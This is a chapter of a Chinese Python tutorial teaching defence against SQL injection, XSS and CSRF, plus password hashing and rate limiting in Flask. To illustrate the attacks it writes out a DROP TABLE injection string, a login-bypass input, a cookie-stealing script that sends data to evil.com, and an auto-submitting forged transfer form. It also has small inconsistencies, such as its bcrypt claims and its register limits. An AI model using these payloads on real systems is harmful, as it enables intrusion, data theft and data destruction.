开头导语

很多开发者写代码的时候脑子里只有功能，安全的事等出了事再说。但安全漏洞一旦被利用，损失是不可逆的：用户数据泄露、数据库被拖库、网站被挂马。本章不教你成为安全专家，但教你识别和防御最常见的 Web 安全威胁：SQL 注入、XSS、CSRF、密码存储、接口限流。这些问题在开发阶段修复的成本接近零，上线后再修复的代价可能是百万级别。

章节摘要

SQL 注入通过拼接用户输入到 SQL 语句执行，需要用参数化查询防御。XSS 在页面中注入恶意脚本，需要转义用户输入。CSRF 诱骗用户浏览器发送伪造请求，需要 CSRF Token 防御。密码不能明文存储，要哈希加盐。接口需要限流防止暴力破解和 DDoS。敏感数据（Token、密码、身份证号）不能出现在日志中。

关键词

SQL注入、XSS、CSRF、密码哈希、接口限流、参数化查询、CSRF Token、输入验证

学习目标

  • 理解常见 Web 安全威胁的原理
  • 掌握 SQL 注入、XSS、CSRF 的防御方法
  • 掌握安全的密码存储方式
  • 能够实现简单的接口限流
  • 养成安全编码的习惯

先修知识

  • HTTP 协议（第51章）
  • Flask 或 FastAPI 基础（52-56章）

SQL 注入

攻击原理

用户输入被直接拼接到 SQL 语句中，攻击者可以构造恶意输入执行任意 SQL：

# 有漏洞的代码
user_id = request.args.get("user_id")  # 用户输入: "1; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE id = {user_id}"
# 实际执行: SELECT * FROM users WHERE id = 1; DROP TABLE users; --

攻击者用 ' OR 1=1 -- 可以绕过登录验证：

# 有漏洞的登录查询
query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'"
# username = "' OR 1=1 --"
# query = "SELECT * FROM users WHERE username = '' OR 1=1 --' AND password = 'xxx'"
# -- 后面的内容被注释掉，查询变成 SELECT * FROM users WHERE username = '' OR 1=1

防御：参数化查询

# SQLAlchemy（推荐）
user = User.query.filter_by(id=user_id).first()

# 原生 SQL 用占位符
from sqlalchemy import text
result = db.session.execute(
    text("SELECT * FROM users WHERE id = :id"),
    {"id": user_id}
)

参数化查询把数据和 SQL 结构分开，数据库只把用户输入当数据处理，不会被解释成 SQL 命令。

检查你的代码

用 Grep 搜索项目中的字符串拼接 SQL：

rg 'f".*SELECT|f\'.SELECT|\+.*SELECT' --type py

XSS 跨站脚本攻击

攻击原理

攻击者在页面中注入 <script> 标签或其他 JavaScript：

<!-- 用户提交的内容未转义 -->
<div>{{ comment }}</div>

<!-- 恶意输入: <script>document.location='http://evil.com/?c='+document.cookie</script> -->

当其他用户访问这个页面时，脚本会窃取他们的 Cookie（如果Cookie 没有 HttpOnly）或跳转钓鱼网站。

XSS 有三种类型：

  1. 存储型 XSS：恶意内容存入数据库，所有访问者都受害（最危险）
  2. 反射型 XSS：恶意链接参数未经转义直接显示（需要用户主动点击）
  3. DOM 型 XSS：前端 JS 把 URL 参数直接插入 DOM（纯前端问题）

防御

Flask/Jinja2 默认自动转义 HTML 内容：

# Flask 自动转义，但以下情况不会转义：
# 1. Markup() 标记为安全的
from markupsafe import Markup
dangerous = "<script>alert(1)</script>"
safe = Markup(dangerous)  # 标记为安全，不转义

防御原则：

  1. 输入验证：过滤 <script>、<iframe>、onerror 等危险标签
  2. 输出转义：所有用户输入的内容在显示时必须转义
  3. HttpOnly Cookie：防止 JavaScript 读取认证 Cookie
  4. CSP（Content Security Policy）：限制页面能执行的脚本来源
from flask import Flask

app = Flask(__name__)

@app.after_request
def add_security_headers(response):
    # 禁止页面被嵌入 iframe（防点击劫持）
    response.headers["X-Frame-Options"] = "DENY"
    # 启用浏览器 XSS 过滤器
    response.headers["X-XSS-Protection"] = "1; mode=block"
    # CSP：禁止加载外部脚本
    response.headers["Content-Security-Policy"] = "default-src 'self'"
    return response

CSRF 跨站请求伪造

攻击原理

用户已登录银行网站，攻击者诱骗用户访问恶意页面：

<!-- 恶意页面 -->
<form action="https://bank.com/transfer" method="POST" id="evil">
    <input name="to" value="attacker" />
    <input name="amount" value="10000" />
</form>
<script>document.getElementById("evil").submit()</script>

浏览器自动带上银行 Cookie，服务端认为是用户本人操作。

防御

Flask-WTF 的 form.hidden_tag() 已经嵌入了 CSRF Token：

# Flask-WTF 表单自动验证 Token
class TransferForm(FlaskForm):
    to = StringField("收款人")
    amount = DecimalField("金额")
    submit = SubmitField("转账")

@app.route("/transfer", methods=["POST"])
def transfer():
    form = TransferForm()
    if form.validate_on_submit():
        # CSRF Token 验证自动通过
        return "转账成功"

对于非表单的 API 请求（如 fetch/axios），CSRF Token 要放在请求头中：

// 前端在请求头中带 CSRF Token
fetch("/api/transfer", {
    method: "POST",
    headers: {
        "Content-Type": "application/json",
        "X-CSRFToken": "{{ csrf_token() }}"  // 从 Cookie 中读取
    },
    body: JSON.stringify({ to: "bob", amount: 100 })
})

密码安全存储

不能做的事

  • ❌ 明文存储：password: "123456"
  • ❌ MD5 存储：MD5 可被彩虹表反向查询
  • ❌ SHA1 存储：同样不安全，GPU 每秒可计算数十亿次 SHA1
  • ❌ 只哈希不盐：相同密码的哈希值相同，容易被查表攻击

正确做法：bcrypt 或 argon2

from werkzeug.security import generate_password_hash, check_password_hash

# 哈希 + 加盐（自动生成随机盐）
password_hash = generate_password_hash("my_secure_password123", method="pbkdf2:sha256")

# 验证（自动提取盐再哈希比较）
if check_password_hash(password_hash, "my_secure_password123"):
    print("登录成功")

generate_password_hash 内部：

  1. 生成随机盐
  2. 用 bcrypt/pbkdf2 算法把（盐 + 密码）混合哈希
  3. 存储格式：method$salt$hash

bcrypt 的设计故意很慢（可配置迭代次数），使得暴力破解成本极高。

接口限流

为什么需要限流

没有限流的接口可能被暴力破解（登录接口）、爬虫抓取（数据接口）、DDoS 攻击（任意接口）。

简单实现：Flask-Limiter

pip install flask-limiter

from flask import Flask, request, jsonify
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

app = Flask(__name__)

# 初始化限流器
limiter = Limiter(
    app=app,
    key_func=get_remote_address,  # 按 IP 限流
    default_limits=["200 per day", "50 per hour"],
    storage_uri="memory://",  # 生产环境用 Redis
)


@app.route("/login", methods=["POST"])
@limiter.limit("5 per minute")  # 登录接口更严格
def login():
    return jsonify({"message": "登录接口"})


@app.route("/api/data")
@limiter.limit("30 per minute")  # 数据接口
def get_data():
    return jsonify({"data": []})


# 限流后的处理
@app.errorhandler(429)
def ratelimit_handler(e):
    return jsonify({"code": 429, "message": f"请求过于频繁，请稍后再试（{e.description}）"}), 429

限流策略：

  • 登录接口：5-10次/分钟，防止暴力破解
  • 注册接口：3-5次/分钟，防止批量注册
  • 普通 API：100-200次/分钟
  • 读取接口：可放宽，内容类网站需要爬虫友好

敏感数据保护

日志脱敏

import logging
import re

class SensitiveFormatter(logging.Formatter):
    def format(self, record):
        msg = super().format(record)
        # 脱敏手机号
        msg = re.sub(r'1[3-9]\d{9}', '1*******999', msg)
        # 脱敏身份证
        msg = re.sub(r'\d{17}[\dXx]', '*****************', msg)
        # 脱敏邮箱
        msg = re.sub(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', '***@***.com', msg)
        return msg

# 配置日志
logger = logging.getLogger()
handler = logging.StreamHandler()
handler.setFormatter(SensitiveFormatter(logging.BASIC_FORMAT))
logger.addHandler(handler)

不要在 URL 中传递敏感信息

# ❌ 不好：Token 在 URL 中，会被日志、浏览器历史、Referer 头泄露
GET /api/profile?token=eyJhbGc...

# ✅ 好：Token 在 Authorization 请求头中
Authorization: Bearer eyJhbGc...

案例实战

完整的安全用户注册登录系统

# secure_app.py
from flask import Flask, request, jsonify, render_template_string
from flask_sqlalchemy import SQLAlchemy
from flask_wtf import FlaskForm
from wtforms import StringField, PasswordField, SubmitField
from wtforms.validators import DataRequired, Length, Email, EqualTo
from werkzeug.security import generate_password_hash, check_password_hash
from flask_limiter import Limiter
from flask_limiter.util import get_remote_address
from flask_login import LoginManager, login_user, logout_user, login_required, current_user, UserMixin
from functools import wraps
import time

app = Flask(__name__)
app.config["SECRET_KEY"] = "production-use-env-var"
app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///secure_demo.db"
app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False

db = SQLAlchemy(app)
limiter = Limiter(app=app, key_func=get_remote_address, default_limits=["100/hour"])


# ─── 用户模型 ───
class User(db.Model, UserMixin):
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(80), unique=True, nullable=False)
    email = db.Column(db.String(120), unique=True, nullable=False)
    password_hash = db.Column(db.String(200), nullable=False)
    created_at = db.Column(db.DateTime, default=db.func.now())


# ─── WTForms 防 CSRF ───
class RegisterForm(FlaskForm):
    username = StringField("用户名", validators=[
        DataRequired(), Length(min=3, max=20),
    ])
    email = StringField("邮箱", validators=[DataRequired(), Email()])
    password = PasswordField("密码", validators=[
        DataRequired(), Length(min=8)
    ])
    password2 = PasswordField("确认密码", validators=[
        DataRequired(), EqualTo("password")
    ])
    submit = SubmitField("注册")


class LoginForm(FlaskForm):
    username = StringField("用户名", validators=[DataRequired()])
    password = PasswordField("密码", validators=[DataRequired()])
    submit = SubmitField("登录")


login_manager = LoginManager(app)


@login_manager.user_loader
def load_user(user_id):
    return db.session.get(User, int(user_id))


# ─── 路由 ───
@app.route("/")
def index():
    return render_template_string("<p><a href='/register'>注册</a> | <a href='/login'>登录</a></p>")


@app.route("/register", methods=["GET", "POST"])
@limiter.limit("3 per hour")  # 防批量注册
def register():
    form = RegisterForm()
    if form.validate_on_submit():
        if User.query.filter_by(username=form.username.data).first():
            form.username.errors.append("用户名已存在")
            return render_template_string(REGISTER_TPL, form=form)
        if User.query.filter_by(email=form.email.data).first():
            form.email.errors.append("邮箱已注册")
            return render_template_string(REGISTER_TPL, form=form)

        # 密码哈希存储（绝对不能明文）
        user = User(
            username=form.username.data,
            email=form.email.data,
            password_hash=generate_password_hash(form.password.data),
        )
        db.session.add(user)
        db.session.commit()
        return "<p>注册成功！<a href='/login'>去登录</a></p>"
    return render_template_string(REGISTER_TPL, form=form)


@app.route("/login", methods=["GET", "POST"])
@limiter.limit("10 per 5 minutes")  # 防暴力破解
def login():
    form = LoginForm()
    if form.validate_on_submit():
        user = User.query.filter_by(username=form.username.data).first()
        if user and check_password_hash(user.password_hash, form.password.data):
            login_user(user)
            return "<p>登录成功！<a href='/secret'>查看隐私页面</a></p>"
        form.password.errors.append("用户名或密码错误")
    return render_template_string(LOGIN_TPL, form=form)


@app.route("/secret")
@login_required
def secret():
    return "<p>这是隐私内容，只有登录用户能看到。</p>"


REGISTER_TPL = """
<form method="post">{{ form.hidden_tag() }}
<p>{{ form.username.label }}: {{ form.username() }}
{% for e in form.username.errors %}<span style="color:red">{{ e }}{% endfor %}</p>
<p>{{ form.email.label }}: {{ form.email() }}
{% for e in form.email.errors %}<span style="color:red">{{ e }}{% endfor %}</p>
<p>{{ form.password.label }}: {{ form.password() }}
{% for e in form.password.errors %}<span style="color:red">{{ e }}{% endfor %}</p>
<p>{{ form.password2.label }}: {{ form.password2() }}
{% for e in form.password2.errors %}<span style="color:red">{{ e }}{% endfor %}</p>
<p>{{ form.submit() }}</p>
</form>
"""

LOGIN_TPL = """
<form method="post">{{ form.hidden_tag() }}
<p>{{ form.username.label }}: {{ form.username() }}</p>
<p>{{ form.password.label }}: {{ form.password() }}
{% for e in form.password.errors %}<span style="color:red">{{ e }}{% endfor %}</p>
<p>{{ form.submit() }}</p>
</form>
"""


with app.app_context():
    db.create_all()

if __name__ == "__main__":
    app.run(debug=True)

本章小结

  • SQL 注入：用参数化查询防御，永远不要拼接用户输入到 SQL
  • XSS：转义用户输入，HttpOnly Cookie，CSP 策略
  • CSRF：所有表单包含 CSRF Token，API 用请求头传 Token
  • 密码：bcrypt/pbkdf2 加盐哈希，绝对不能明文存储
  • 限流：Flask-Limiter 按 IP/用户限流
  • 日志：脱敏手机号、身份证、邮箱、Token

本章代码自测清单（可打勾）

  • 能解释 SQL 注入的原理
  • 知道参数化查询怎么写
  • 能解释 XSS 的三种类型
  • CSRF Token 在表单和 API 请求头中分别怎么用
  • 能用 generate_password_hash 存储密码
  • 能用 check_password_hash 验证密码
  • 能给登录接口配置限流
  • 知道不要在 URL 中传 Token

本章自测答案

  1. SQL 注入原理：用户输入被拼接到 SQL 语句中执行，攻击者可构造输入执行任意 SQL。防御：参数化查询，把数据和 SQL 结构分开。
  2. XSS 防御：输入验证过滤危险标签、输出转义用户内容、HttpOnly Cookie 防止 JS 读取 Cookie、CSP 限制脚本来源。
  3. CSRF Token：表单中通过 {{ form.hidden_tag() }} 嵌入，API 请求通过请求头 X-CSRFToken 传递。
  4. bcrypt 比 MD5/SHA1 更安全的原因：内置随机盐防止查表攻击、故意设计得慢（可配置迭代次数）使得暴力破解成本极高。
  5. 限流：登录接口 5-10 次/分钟防止暴力破解，注册接口 3-5 次/小时防止批量注册。

章节导航

  • 上一篇：第57章《RESTful API设计与接口规范》
  • 下一篇：第59章《Web项目部署》

版权声明

本文为《Python从入门到精通》系列连载内容，面向学习交流使用。版权归作者所有，转载须保留出处与章节信息。

# python # 开发语言 # 网络
Logo
AI Agent技术社区

Agent 垂直技术社区，欢迎活跃、内容共建。

更多推荐

cover

程序员学 AI（八）：AI Agent 到底是什么？从回答问题到完成任务

avatar AI Agent技术社区
cover

22道AI Agent 工程师必会的面试题，别啥都不会就出去找工作

avatar AI Agent技术社区
cover

基于AI agent的智能图书馆

avatar AI Agent技术社区